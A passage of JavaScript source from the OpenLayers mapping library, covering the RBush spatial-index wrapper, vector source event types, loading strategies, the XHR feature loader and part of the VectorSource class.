createOrUpdate, equals } from '../extent.js';\nimport { getUid } from '../util.js';\nimport { isEmpty } from '../obj.js';\n/**\n * @typedef {Object} Entry\n * @property {number} minX MinX.\n * @property {number} minY MinY.\n * @property {number} maxX MaxX.\n * @property {number} maxY MaxY.\n * @property {Object} [value] Value.\n */\n/**\n * @classdesc\n * Wrapper around the RBush by Vladimir Agafonkin.\n * See https://github.com/mourner/rbush.\n *\n * @template T\n */\nvar RBush = /** @class */ (function () {\n /**\n * @param {number} [opt_maxEntries] Max entries.\n */\n function RBush(opt_maxEntries) {\n /**\n * @private\n */\n this.rbush_ = new RBush_(opt_maxEntries);\n /**\n * A mapping between the objects added to this rbush wrapper\n * and the objects that are actually added to the internal rbush.\n * @private\n * @type {Object<string, Entry>}\n */\n this.items_ = {};\n }\n /**\n * Insert a value into the RBush.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {T} value Value.\n */\n RBush.prototype.insert = function (extent, value) {\n /** @type {Entry} */\n var item = {\n minX: extent[0],\n minY: extent[1],\n maxX: extent[2],\n maxY: extent[3],\n value: value,\n };\n this.rbush_.insert(item);\n this.items_[getUid(value)] = item;\n };\n /**\n * Bulk-insert values into the RBush.\n * @param {Array<import(\"../extent.js\").Extent>} extents Extents.\n * @param {Array<T>} values Values.\n */\n RBush.prototype.load = function (extents, values) {\n var items = new Array(values.length);\n for (var i = 0, l = values.length; i < l; i++) {\n var extent = extents[i];\n var value = values[i];\n /** @type {Entry} */\n var item = {\n minX: extent[0],\n minY: extent[1],\n maxX: extent[2],\n maxY: extent[3],\n value: value,\n };\n items[i] = item;\n this.items_[getUid(value)] = item;\n }\n this.rbush_.load(items);\n };\n /**\n * Remove a value from the RBush.\n * @param {T} value Value.\n * @return {boolean} Removed.\n */\n RBush.prototype.remove = function (value) {\n var uid = getUid(value);\n // get the object in which the value was wrapped when adding to the\n // internal rbush. then use that object to do the removal.\n var item = this.items_[uid];\n delete this.items_[uid];\n return this.rbush_.remove(item) !== null;\n };\n /**\n * Update the extent of a value in the RBush.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {T} value Value.\n */\n RBush.prototype.update = function (extent, value) {\n var item = this.items_[getUid(value)];\n var bbox = [item.minX, item.minY, item.maxX, item.maxY];\n if (!equals(bbox, extent)) {\n this.remove(value);\n this.insert(extent, value);\n }\n };\n /**\n * Return all values in the RBush.\n * @return {Array<T>} All.\n */\n RBush.prototype.getAll = function () {\n var items = this.rbush_.all();\n return items.map(function (item) {\n return item.value;\n });\n };\n /**\n * Return all values in the given extent.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {Array<T>} All in extent.\n */\n RBush.prototype.getInExtent = function (extent) {\n /** @type {Entry} */\n var bbox = {\n minX: extent[0],\n minY: extent[1],\n maxX: extent[2],\n maxY: extent[3],\n };\n var items = this.rbush_.search(bbox);\n return items.map(function (item) {\n return item.value;\n });\n };\n /**\n * Calls a callback function with each value in the tree.\n * If the callback returns a truthy value, this value is returned without\n * checking the rest of the tree.\n * @param {function(T): *} callback Callback.\n * @return {*} Callback return value.\n */\n RBush.prototype.forEach = function (callback) {\n return this.forEach_(this.getAll(), callback);\n };\n /**\n * Calls a callback function with each value in the provided extent.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {function(T): *} callback Callback.\n * @return {*} Callback return value.\n */\n RBush.prototype.forEachInExtent = function (extent, callback) {\n return this.forEach_(this.getInExtent(extent), callback);\n };\n /**\n * @param {Array<T>} values Values.\n * @param {function(T): *} callback Callback.\n * @private\n * @return {*} Callback return value.\n */\n RBush.prototype.forEach_ = function (values, callback) {\n var result;\n for (var i = 0, l = values.length; i < l; i++) {\n result = callback(values[i]);\n if (result) {\n return result;\n }\n }\n return result;\n };\n /**\n * @return {boolean} Is empty.\n */\n RBush.prototype.isEmpty = function () {\n return isEmpty(this.items_);\n };\n /**\n * Remove all values from the RBush.\n */\n RBush.prototype.clear = function () {\n this.rbush_.clear();\n this.items_ = {};\n };\n /**\n * @param {import(\"../extent.js\").Extent} [opt_extent] Extent.\n * @return {import(\"../extent.js\").Extent} Extent.\n */\n RBush.prototype.getExtent = function (opt_extent) {\n var data = this.rbush_.toJSON();\n return createOrUpdate(data.minX, data.minY, data.maxX, data.maxY, opt_extent);\n };\n /**\n * @param {RBush} rbush R-Tree.\n */\n RBush.prototype.concat = function (rbush) {\n this.rbush_.load(rbush.rbush_.all());\n for (var i in rbush.items_) {\n this.items_[i] = rbush.items_[i];\n }\n };\n return RBush;\n}());\nexport default RBush;\n//# sourceMappingURL=RBush.js.map","/**\n * @module ol/source/VectorEventType\n */\n/**\n * @enum {string}\n */\nexport default {\n /**\n * Triggered when a feature is added to the source.\n * @event module:ol/source/Vector.VectorSourceEvent#addfeature\n * @api\n */\n ADDFEATURE: 'addfeature',\n /**\n * Triggered when a feature is updated.\n * @event module:ol/source/Vector.VectorSourceEvent#changefeature\n * @api\n */\n CHANGEFEATURE: 'changefeature',\n /**\n * Triggered when the clear method is called on the source.\n * @event module:ol/source/Vector.VectorSourceEvent#clear\n * @api\n */\n CLEAR: 'clear',\n /**\n * Triggered when a feature is removed from the source.\n * See {@link module:ol/source/Vector~VectorSource#clear source.clear()} for exceptions.\n * @event module:ol/source/Vector.VectorSourceEvent#removefeature\n * @api\n */\n REMOVEFEATURE: 'removefeature',\n /**\n * Triggered when features starts loading.\n * @event module:ol/source/Vector.VectorSourceEvent#featuresloadstart\n * @api\n */\n FEATURESLOADSTART: 'featuresloadstart',\n /**\n * Triggered when features finishes loading.\n * @event module:ol/source/Vector.VectorSourceEvent#featuresloadend\n * @api\n */\n FEATURESLOADEND: 'featuresloadend',\n /**\n * Triggered if feature loading results in an error.\n * @event module:ol/source/Vector.VectorSourceEvent#featuresloaderror\n * @api\n */\n FEATURESLOADERROR: 'featuresloaderror',\n};\n/**\n * @typedef {'addfeature'|'changefeature'|'clear'|'removefeature'|'featuresloadstart'|'featuresloadend'|'featuresloaderror'} VectorSourceEventTypes\n */\n//# sourceMappingURL=VectorEventType.js.map","/**\n * @module ol/loadingstrategy\n */\nimport { fromUserExtent, fromUserResolution, toUserExtent } from './proj.js';\n/**\n * Strategy function for loading all features with a single request.\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @return {Array<import(\"./extent.js\").Extent>} Extents.\n * @api\n */\nexport function all(extent, resolution) {\n return [[-Infinity, -Infinity, Infinity, Infinity]];\n}\n/**\n * Strategy function for loading features based on the view's extent and\n * resolution.\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @return {Array<import(\"./extent.js\").Extent>} Extents.\n * @api\n */\nexport function bbox(extent, resolution) {\n return [extent];\n}\n/**\n * Creates a strategy function for loading features based on a tile grid.\n * @param {import(\"./tilegrid/TileGrid.js\").default} tileGrid Tile grid.\n * @return {function(import(\"./extent.js\").Extent, number, import(\"./proj.js\").Projection): Array<import(\"./extent.js\").Extent>} Loading strategy.\n * @api\n */\nexport function tile(tileGrid) {\n return (\n /**\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @param {import(\"./proj.js\").Projection} projection Projection.\n * @return {Array<import(\"./extent.js\").Extent>} Extents.\n */\n function (extent, resolution, projection) {\n var z = tileGrid.getZForResolution(fromUserResolution(resolution, projection));\n var tileRange = tileGrid.getTileRangeForExtentAndZ(fromUserExtent(extent, projection), z);\n /** @type {Array<import(\"./extent.js\").Extent>} */\n var extents = [];\n /** @type {import(\"./tilecoord.js\").TileCoord} */\n var tileCoord = [z, 0, 0];\n for (tileCoord[1] = tileRange.minX; tileCoord[1] <= tileRange.maxX; ++tileCoord[1]) {\n for (tileCoord[2] = tileRange.minY; tileCoord[2] <= tileRange.maxY; ++tileCoord[2]) {\n extents.push(toUserExtent(tileGrid.getTileCoordExtent(tileCoord), projection));\n }\n }\n return extents;\n });\n}\n//# sourceMappingURL=loadingstrategy.js.map","/**\n * @module ol/featureloader\n */\nimport { VOID } from './functions.js';\n/**\n *\n * @type {boolean}\n * @private\n */\nvar withCredentials = false;\n/**\n * {@link module:ol/source/Vector~VectorSource} sources use a function of this type to\n * load features.\n *\n * This function takes up to 5 arguments. These are an {@link module:ol/extent~Extent} representing\n * the area to be loaded, a `{number}` representing the resolution (map units per pixel), an\n * {@link module:ol/proj/Projection~Projection} for the projection, an optional success callback that should get\n * the loaded features passed as an argument and an optional failure callback with no arguments. If\n * the callbacks are not used, the corresponding vector source will not fire `'featuresloadend'` and\n * `'featuresloaderror'` events. `this` within the function is bound to the\n * {@link module:ol/source/Vector~VectorSource} it's called from.\n *\n * The function is responsible for loading the features and adding them to the\n * source.\n * @typedef {function(this:(import(\"./source/Vector\").default|import(\"./VectorTile.js\").default),\n * import(\"./extent.js\").Extent,\n * number,\n * import(\"./proj/Projection.js\").default,\n * function(Array<import(\"./Feature.js\").default>): void=,\n * function(): void=): void} FeatureLoader\n * @api\n */\n/**\n * {@link module:ol/source/Vector~VectorSource} sources use a function of this type to\n * get the url to load features from.\n *\n * This function takes an {@link module:ol/extent~Extent} representing the area\n * to be loaded, a `{number}` representing the resolution (map units per pixel)\n * and an {@link module:ol/proj/Projection~Projection} for the projection as\n * arguments and returns a `{string}` representing the URL.\n * @typedef {function(import(\"./extent.js\").Extent, number, import(\"./proj/Projection.js\").default): string} FeatureUrlFunction\n * @api\n */\n/**\n * @param {string|FeatureUrlFunction} url Feature URL service.\n * @param {import(\"./format/Feature.js\").default} format Feature format.\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @param {function(Array<import(\"./Feature.js\").default>, import(\"./proj/Projection.js\").default): void} success Success\n * Function called with the loaded features and optionally with the data projection.\n * @param {function(): void} failure Failure\n * Function called when loading failed.\n */\nexport function loadFeaturesXhr(url, format, extent, resolution, projection, success, failure) {\n var xhr = new XMLHttpRequest();\n xhr.open('GET', typeof url === 'function' ? url(extent, resolution, projection) : url, true);\n if (format.getType() == 'arraybuffer') {\n xhr.responseType = 'arraybuffer';\n }\n xhr.withCredentials = withCredentials;\n /**\n * @param {Event} event Event.\n * @private\n */\n xhr.onload = function (event) {\n // status will be 0 for file:// urls\n if (!xhr.status || (xhr.status >= 200 && xhr.status < 300)) {\n var type = format.getType();\n /** @type {Document|Node|Object|string|undefined} */\n var source = void 0;\n if (type == 'json' || type == 'text') {\n source = xhr.responseText;\n }\n else if (type == 'xml') {\n source = xhr.responseXML;\n if (!source) {\n source = new DOMParser().parseFromString(xhr.responseText, 'application/xml');\n }\n }\n else if (type == 'arraybuffer') {\n source = /** @type {ArrayBuffer} */ (xhr.response);\n }\n if (source) {\n success(\n /** @type {Array<import(\"./Feature.js\").default>} */\n (format.readFeatures(source, {\n extent: extent,\n featureProjection: projection,\n })), format.readProjection(source));\n }\n else {\n failure();\n }\n }\n else {\n failure();\n }\n };\n /**\n * @private\n */\n xhr.onerror = failure;\n xhr.send();\n}\n/**\n * Create an XHR feature loader for a `url` and `format`. The feature loader\n * loads features (with XHR), parses the features, and adds them to the\n * vector source.\n * @param {string|FeatureUrlFunction} url Feature URL service.\n * @param {import(\"./format/Feature.js\").default} format Feature format.\n * @return {FeatureLoader} The feature loader.\n * @api\n */\nexport function xhr(url, format) {\n /**\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @param {function(Array<import(\"./Feature.js\").default>): void} [success] Success\n * Function called when loading succeeded.\n * @param {function(): void} [failure] Failure\n * Function called when loading failed.\n * @this {import(\"./source/Vector\").default}\n */\n return function (extent, resolution, projection, success, failure) {\n var source = /** @type {import(\"./source/Vector\").default} */ (this);\n loadFeaturesXhr(url, format, extent, resolution, projection, \n /**\n * @param {Array<import(\"./Feature.js\").default>} features The loaded features.\n * @param {import(\"./proj/Projection.js\").default} dataProjection Data\n * projection.\n */\n function (features, dataProjection) {\n source.addFeatures(features);\n if (success !== undefined) {\n success(features);\n }\n }, \n /* FIXME handle error */ failure ? failure : VOID);\n };\n}\n/**\n * Setter for the withCredentials configuration for the XHR.\n *\n * @param {boolean} xhrWithCredentials The value of withCredentials to set.\n * Compare https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/\n * @api\n */\nexport function setWithCredentials(xhrWithCredentials) {\n withCredentials = xhrWithCredentials;\n}\n//# sourceMappingURL=featureloader.js.map","/**\n * @module ol/source/Vector\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport Collection from '../Collection.js';\nimport CollectionEventType from '../CollectionEventType.js';\nimport Event from '../events/Event.js';\nimport EventType from '../events/EventType.js';\nimport ObjectEventType from '../ObjectEventType.js';\nimport RBush from '../structs/RBush.js';\nimport Source from './Source.js';\nimport VectorEventType from './VectorEventType.js';\nimport { TRUE, VOID } from '../functions.js';\nimport { all as allStrategy } from '../loadingstrategy.js';\nimport { assert } from '../asserts.js';\nimport { containsExtent, equals, wrapAndSliceX } from '../extent.js';\nimport { extend } from '../array.js';\nimport { getUid } from '../util.js';\nimport { getValues, isEmpty } from '../obj.js';\nimport { listen, unlistenByKey } from '../events.js';\nimport { xhr } from '../featureloader.js';\n/**\n * A function that takes an {@link module:ol/extent~Extent} and a resolution as arguments, and\n * returns an array of {@link module:ol/extent~Extent} with the extents to load. Usually this\n * is one of the standard {@link module:ol/loadingstrategy} strategies.\n *\n * @typedef {function(import(\"../extent.js\").Extent, number, import(\"../proj/Projection.js\").default): Array<import(\"../extent.js\").Extent>} LoadingStrategy\n * @api\n */\n/**\n * @classdesc\n * Events emitted by {@link module:ol/source/Vector~VectorSource} instances are instances of this\n * type.\n * @template {import(\"../geom/Geometry.js\").default} [Geometry=import(\"../geom/Geometry.js\").default]\n */\nvar VectorSourceEvent = /** @class */ (function (_super) {\n __extends(VectorSourceEvent, _super);\n /**\n * @param {string} type Type.\n * @param {import(\"../Feature.js\").default<Geometry>} [opt_feature] Feature.\n * @param {Array<import(\"../Feature.js\").default<Geometry>>} [opt_features] Features.\n */\n function VectorSourceEvent(type, opt_feature, opt_features) {\n var _this = _super.call(this, type) || this;\n /**\n * The added or removed feature for the `ADDFEATURE` and `REMOVEFEATURE` events, `undefined` otherwise.\n * @type {import(\"../Feature.js\").default<Geometry>|undefined}\n * @api\n */\n _this.feature = opt_feature;\n /**\n * The loaded features for the `FEATURESLOADED` event, `undefined` otherwise.\n * @type {Array<import(\"../Feature.js\").default<Geometry>>|undefined}\n * @api\n */\n _this.features = opt_features;\n return _this;\n }\n return VectorSourceEvent;\n}(Event));\nexport { VectorSourceEvent };\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"../ObjectEventType\").Types, import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").OnSignature<import(\"./VectorEventType\").VectorSourceEventTypes, VectorSourceEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"../ObjectEventType\").Types|\n * import(\"./VectorEventType\").VectorSourceEventTypes, Return>} VectorSourceOnSignature\n */\n/**\n * @typedef {Object} Options\n * @property {import(\"./Source.js\").AttributionLike} [attributions] Attributions.\n * @property {Array<import(\"../Feature.js\").default>|Collection<import(\"../Feature.js\").default>} [features]\n * Features. If provided as {@link module:ol/Collection~Collection}, the features in the source\n * and the collection will stay in sync.\n * @property {import(\"../format/Feature.js\").default} [format] The feature format used by the XHR\n * feature loader when `url` is set. Required if `url` is set, otherwise ignored.\n * @property {import(\"../featureloader.js\").FeatureLoader} [loader]\n * The loader function used to load features, from a remote source for example.\n * If this is not set and `url` is set, the source will create and use an XHR\n * feature loader. The `'featuresloadend'` and `'featuresloaderror'` events\n * will only fire if the `success` and `failure` callbacks are used.\n *\n * Example:\n *\n * ```js\n * import {Vector} from 'ol/source';\n * import {GeoJSON} from 'ol/format';\n * import {bbox} from 'ol/loadingstrategy';\n *\n * var vectorSource = new Vector({\n * format: new GeoJSON(),\n * loader: function(extent, resolution, projection, success, failure) {\n * var proj = projection.getCode();\n * var url = 'https://ahocevar.com/geoserver/wfs?service=WFS&' +\n * 'version=1.1.0&request=GetFeature&typename=osm:water_areas&' +\n * 'outputFormat=application/json&srsname=' + proj + '&' +\n * 'bbox=' + extent.join(',') + ',' + proj;\n * var xhr = new XMLHttpRequest();\n * xhr.open('GET', url);\n * var onError = function() {\n * vectorSource.removeLoadedExtent(extent);\n * failure();\n * }\n * xhr.onerror = onError;\n * xhr.onload = function() {\n * if (xhr.status == 200) {\n * var features = vectorSource.getFormat().readFeatures(xhr.responseText);\n * vectorSource.addFeatures(features);\n * success(features);\n * } else {\n * onError();\n * }\n * }\n * xhr.send();\n * },\n * strategy: bbox\n * });\n * ```\n * @property {boolean} [overlaps=true] This source may have overlapping geometries.\n * Setting this to `false` (e.g. for sources with polygons that represent administrative\n * boundaries or TopoJSON sources) allows the renderer to optimise fill and\n * stroke operations.\n * @property {LoadingStrategy} [strategy] The loading strategy to use.\n * By default an {@link module:ol/loadingstrategy.all}\n * strategy is used, a one-off strategy which loads all features at once.\n * @property {string|import(\"../featureloader.js\").FeatureUrlFunction} [url]\n * Setting this option instructs the source to load features using an XHR loader\n * (see {@link module:ol/featureloader.xhr}). Use a `string` and an\n * {@link module:ol/loadingstrategy.all} for a one-off download of all features from\n * the given URL. Use a {@link module:ol/featureloader~FeatureUrlFunction} to generate the url with\n * other loading strategies.\n * Requires `format` to be set as well.\n * When default XHR feature loader is provided, the features will\n * be transformed from the data projection to the view projection\n * during parsing. If your remote data source does not advertise its projection\n * properly, this transformation will be incorrect. For some formats, the\n * default projection (usually EPSG:4326) can be overridden by setting the\n * dataProjection constructor option on the format.\n * Note that if a source contains non-feature data, such as a GeoJSON geometry\n * or a KML NetworkLink, these will be ignored. Use a custom loader to load these.\n * @property {boolean} [useSpatialIndex=true]\n * By default, an RTree is used as spatial index. When features are removed and\n * added frequently, and the total number of features is low, setting this to\n * `false` may improve performance.\n *\n * Note that\n * {@link module:ol/source/Vector~VectorSource#getFeaturesInExtent},\n * {@link module:ol/source/Vector~VectorSource#getClosestFeatureToCoordinate} and\n * {@link module:ol/source/Vector~VectorSource#getExtent} cannot be used when `useSpatialIndex` is\n * set to `false`, and {@link module:ol/source/Vector~VectorSource#forEachFeatureInExtent} will loop\n * through all features.\n *\n * When set to `false`, the features will be maintained in an\n * {@link module:ol/Collection~Collection}, which can be retrieved through\n * {@link module:ol/source/Vector~VectorSource#getFeaturesCollection}.\n * @property {boolean} [wrapX=true] Wrap the world horizontally. For vector editing across the\n * -180° and 180° meridians to work properly, this should be set to `false`. The\n * resulting geometry coordinates will then exceed the world bounds.\n */\n/**\n * @classdesc\n * Provides a source of features for vector layers. Vector features provided\n * by this source are suitable for editing. See {@link module:ol/source/VectorTile~VectorTile} for\n * vector data that is optimized for rendering.\n *\n * @fires VectorSourceEvent\n * @api\n * @template {import(\"../geom/Geometry.js\").default} [Geometry=import(\"../geom/Geometry.js\").default]\n */\nvar VectorSource = /** @class */ (function (_super) {\n __extends(VectorSource, _super);\n /**\n * @param {Options} [opt_options] Vector source options.\n */\n function VectorSource(opt_options) {\n var _this = this;\n var options = opt_options || {};\n _this = _super.call(this, {\n attributions: options.attributions,\n interpolate: true,\n projection: undefined,\n state: 'ready',\n wrapX: options.wrapX !== undefined ? options.wrapX : true,\n }) || this;\n /***\n * @type {VectorSourceOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {VectorSourceOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {VectorSourceOnSignature<void>}\n */\n _this.un;\n /**\n * @private\n * @type {import(\"../featureloader.js\").FeatureLoader}\n */\n _this.loader_ = VOID;\n /**\n * @private\n * @type {import(\"../format/Feature.js\").default|undefined}\n */\n _this.format_ = options.format;\n /**\n * @private\n * @type {boolean}\n */\n _this.overlaps_ = options.overlaps === undefined ? true : options.overlaps;\n /**\n * @private\n * @type {string|import(\"../featureloader.js\").FeatureUrlFunction|undefined}\n */\n _this.url_ = options.url;\n if (options.loader !== undefined) {\n _this.loader_ = options.loader;\n }\n else if (_this.url_ !== undefined) {\n assert(_this.format_, 7); // `format` must be set when `url` is set\n // create a XHR feature loader for \"url\" and \"format\"\n _this.loader_ = xhr(_this.url_, \n /** @type {import(\"../format/Feature.js\").default} */ (_this.format_));\n }\n /**\n * @private\n * @type {LoadingStrategy}\n */\n _this.strategy_ =\n options.strategy !== undefined ? options.strategy : allStrategy;\n var useSpatialIndex = options.useSpatialIndex !== undefined ? options.useSpatialIndex : true;\n /**\n * @private\n * @type {RBush<import(\"../Feature.js\").default<Geometry>>}\n */\n _this.featuresRtree_ = useSpatialIndex ? new RBush() : null;\n /**\n * @private\n * @type {RBush<{extent: import(\"../extent.js\").Extent}>}\n */\n _this.loadedExtentsRtree_ = new RBush();\n /**\n * @type {number}\n * @private\n */\n _this.loadingExtentsCount_ = 0;\n /**\n * @private\n * @type {!Object<string, import(\"../Feature.js\").default<Geometry>>}\n */\n _this.nullGeometryFeatures_ = {};\n /**\n * A lookup of features by id (the return from feature.getId()).\n * @private\n * @type {!Object<string, import(\"../Feature.js\").default<Geometry>>}\n */\n _this.idIndex_ = {};\n /**\n * A lookup of features by uid (using getUid(feature)).\n * @private\n * @type {!Object<string, import(\"../Feature.js\").default<Geometry>>}\n */\n _this.uidIndex_ = {};\n /**\n * @private\n * @type {Object<string, Array<import(\"../events.js\").EventsKey>>}\n */\n _this.featureChangeKeys_ = {};\n /**\n * @private\n * @type {Collection<import(\"../Feature.js\").default<Geometry>>|null}\n */\n _this.featuresCollection_ = null;\n var collection, features;\n if (Array.isArray(options.features)) {\n features =\n /** @type {Array<import(\"../Feature.js\").default<Geometry>>} */ (options.features);\n }\n else if (options.features) {\n collection =\n /** @type {Collection<import(\"../Feature.js\").default<Geometry>>} */ (options.features);\n features = collection.getArray();\n }\n if (!useSpatialIndex && collection === undefined) {\n collection = new Collection(features);\n }\n if (features !== undefined) {\n _this.addFeaturesInternal(features);\n }\n if (collection !== undefined) {\n _this.bindFeaturesCollection_(collection);\n }\n return _this;\n }\n /**\n * Add a single feature to the source. If you want to add a batch of features\n * at once, call {@link module:ol/source/Vector~VectorSource#addFeatures #addFeatures()}\n * instead. A feature will not be added to the source if feature with\n * the same id is already there. The reason for this behavior is to avoid\n * feature duplication when using bbox or tile loading strategies.\n * Note: this also applies if an {@link module:ol/Collection~Collection} is used for features,\n * meaning that if a feature with a duplicate id is added in the collection, it will\n * be removed from it right away.\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature to add.\n * @api\n */\n VectorSource.prototype.addFeature = function (feature) {\n this.addFeatureInternal(feature);\n this.changed();\n };\n /**\n * Add a feature without firing a `change` event.\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature.\n * @protected\n */\n VectorSource.prototype.addFeatureInternal = function (feature) {\n var featureKey = getUid(feature);\n if (!this.addToIndex_(featureKey, feature)) {\n if (this.featuresCollection_) {\n this.featuresCollection_.remove(feature);\n }\n return;\n }\n this.setupChangeEvents_(featureKey, feature);\n var geometry = feature.getGeometry();\n if (geometry) {\n var extent = geometry.getExtent();\n if (this.featuresRtree_) {\n this.featuresRtree_.insert(extent, feature);\n }\n }\n else {\n this.nullGeometryFeatures_[featureKey] = feature;\n }\n this.dispatchEvent(new VectorSourceEvent(VectorEventType.ADDFEATURE, feature));\n };\n /**\n * @param {string} featureKey Unique identifier for the feature.\n * @param {import(\"../Feature.js\").default<Geometry>} feature The feature.\n * @private\n */\n VectorSource.prototype.setupChangeEvents_ = function (featureKey, feature) {\n this.featureChangeKeys_[featureKey] = [\n listen(feature, EventType.CHANGE, this.handleFeatureChange_, this),\n listen(feature, ObjectEventType.PROPERTYCHANGE, this.handleFeatureChange_, this),\n ];\n };\n /**\n * @param {string} featureKey Unique identifier for the feature.\n * @param {import(\"../Feature.js\").default<Geometry>} feature The feature.\n * @return {boolean} The feature is \"valid\", in the sense that it is also a\n * candidate for insertion into the Rtree.\n * @private\n */\n VectorSource.prototype.addToIndex_ = function (featureKey, feature) {\n var valid = true;\n var id = feature.getId();\n if (id !== undefined) {\n if (!(id.toString() in this.idIndex_)) {\n this.idIndex_[id.toString()] = feature;\n }\n else {\n valid = false;\n }\n }\n if (valid) {\n assert(!(featureKey in this.uidIndex_), 30); // The passed `feature` was already added to the source\n this.uidIndex_[featureKey] = feature;\n }\n return valid;\n };\n /**\n * Add a batch of features to the source.\n * @param {Array<import(\"../Feature.js\").default<Geometry>>} features Features to add.\n * @api\n */\n VectorSource.prototype.addFeatures = function (features) {\n this.addFeaturesInternal(features);\n this.changed();\n };\n /**\n * Add features without firing a `change` event.\n * @param {Array<import(\"../Feature.js\").default<Geometry>>} features Features.\n * @protected\n */\n VectorSource.prototype.addFeaturesInternal = function (features) {\n var extents = [];\n var newFeatures = [];\n var geometryFeatures = [];\n for (var i = 0, length_1 = features.length; i < length_1; i++) {\n var feature = features[i];\n var featureKey = getUid(feature);\n if (this.addToIndex_(featureKey, feature)) {\n newFeatures.push(feature);\n }\n }\n for (var i = 0, length_2 = newFeatures.length; i < length_2; i++) {\n var feature = newFeatures[i];\n var featureKey = getUid(feature);\n this.setupChangeEvents_(featureKey, feature);\n var geometry = feature.getGeometry();\n if (geometry) {\n var extent = geometry.getExtent();\n extents.push(extent);\n geometryFeatures.push(feature);\n }\n else {\n this.nullGeometryFeatures_[featureKey] = feature;\n }\n }\n if (this.featuresRtree_) {\n this.featuresRtree_.load(extents, geometryFeatures);\n }\n if (this.hasListener(VectorEventType.ADDFEATURE)) {\n for (var i = 0, length_3 = newFeatures.length; i < length_3; i++) {\n this.dispatchEvent(new VectorSourceEvent(VectorEventType.ADDFEATURE, newFeatures[i]));\n }\n }\n };\n /**\n * @param {!Collection<import(\"../Feature.js\").default<Geometry>>} collection Collection.\n * @private\n */\n VectorSource.prototype.bindFeaturesCollection_ = function (collection) {\n var modifyingCollection = false;\n this.addEventListener(VectorEventType.ADDFEATURE, \n /**\n * @param {VectorSourceEvent<Geometry>} evt The vector source event\n */\n function (evt) {\n if (!modifyingCollection) {\n modifyingCollection = true;\n collection.push(evt.feature);\n modifyingCollection = false;\n }\n });\n this.addEventListener(VectorEventType.REMOVEFEATURE, \n /**\n * @param {VectorSourceEvent<Geometry>} evt The vector source event\n */\n function (evt) {\n if (!modifyingCollection) {\n modifyingCollection = true;\n collection.remove(evt.feature);\n modifyingCollection = false;\n }\n });\n collection.addEventListener(CollectionEventType.ADD, \n /**\n * @param {import(\"../Collection.js\").CollectionEvent} evt The collection event\n */\n function (evt) {\n if (!modifyingCollection) {\n modifyingCollection = true;\n this.addFeature(\n /** @type {import(\"../Feature.js\").default<Geometry>} */ (evt.element));\n modifyingCollection = false;\n }\n }.bind(this));\n collection.addEventListener(CollectionEventType.REMOVE, \n /**\n * @param {import(\"../Collection.js\").CollectionEvent} evt The collection event\n */\n function (evt) {\n if (!modifyingCollection) {\n modifyingCollection = true;\n this.removeFeature(\n /** @type {import(\"../Feature.js\").default<Geometry>} */ (evt.element));\n modifyingCollection = false;\n }\n }.bind(this));\n this.featuresCollection_ = collection;\n };\n /**\n * Remove all features from the source.\n * @param {boolean} [opt_fast] Skip dispatching of {@link module:ol/source/Vector.VectorSourceEvent#event:removefeature removefeature} events.\n * @api\n */\n VectorSource.prototype.clear = function (opt_fast) {\n if (opt_fast) {\n for (var featureId in this.featureChangeKeys_) {\n var keys = this.featureChangeKeys_[featureId];\n keys.forEach(unlistenByKey);\n }\n if (!this.featuresCollection_) {\n this.featureChangeKeys_ = {};\n this.idIndex_ = {};\n this.uidIndex_ = {};\n }\n }\n else {\n if (this.featuresRtree_) {\n var removeAndIgnoreReturn = function (feature) {\n this.removeFeatureInternal(feature);\n }.bind(this);\n this.featuresRtree_.forEach(removeAndIgnoreReturn);\n for (var id in this.nullGeometryFeatures_) {\n this.removeFeatureInternal(this.nullGeometryFeatures_[id]);\n }\n }\n }\n if (this.featuresCollection_) {\n this.featuresCollection_.clear();\n }\n if (this.featuresRtree_) {\n this.featuresRtree_.clear();\n }\n this.nullGeometryFeatures_ = {};\n var clearEvent = new VectorSourceEvent(VectorEventType.CLEAR);\n this.dispatchEvent(clearEvent);\n this.changed();\n };\n /**\n * Iterate through all features on the source, calling the provided callback\n * with each one. If the callback returns any \"truthy\" value, iteration will\n * stop and the function will return the same value.\n * Note: this function only iterate through the feature that have a defined geometry.\n *\n * @param {function(import(\"../Feature.js\").default<Geometry>): T} callback Called with each feature\n * on the source. Return a truthy value to stop iteration.\n * @return {T|undefined} The return value from the last call to the callback.\n * @template T\n * @api\n */\n VectorSource.prototype.forEachFeature = function (callback) {\n if (this.featuresRtree_) {\n return this.featuresRtree_.forEach(callback);\n }\n else if (this.featuresCollection_) {\n this.featuresCollection_.forEach(callback);\n }\n };\n /**\n * Iterate through all features whose geometries contain the provided\n * coordinate, calling the callback with each feature. If the callback returns\n * a \"truthy\" value, iteration will stop and the function will return the 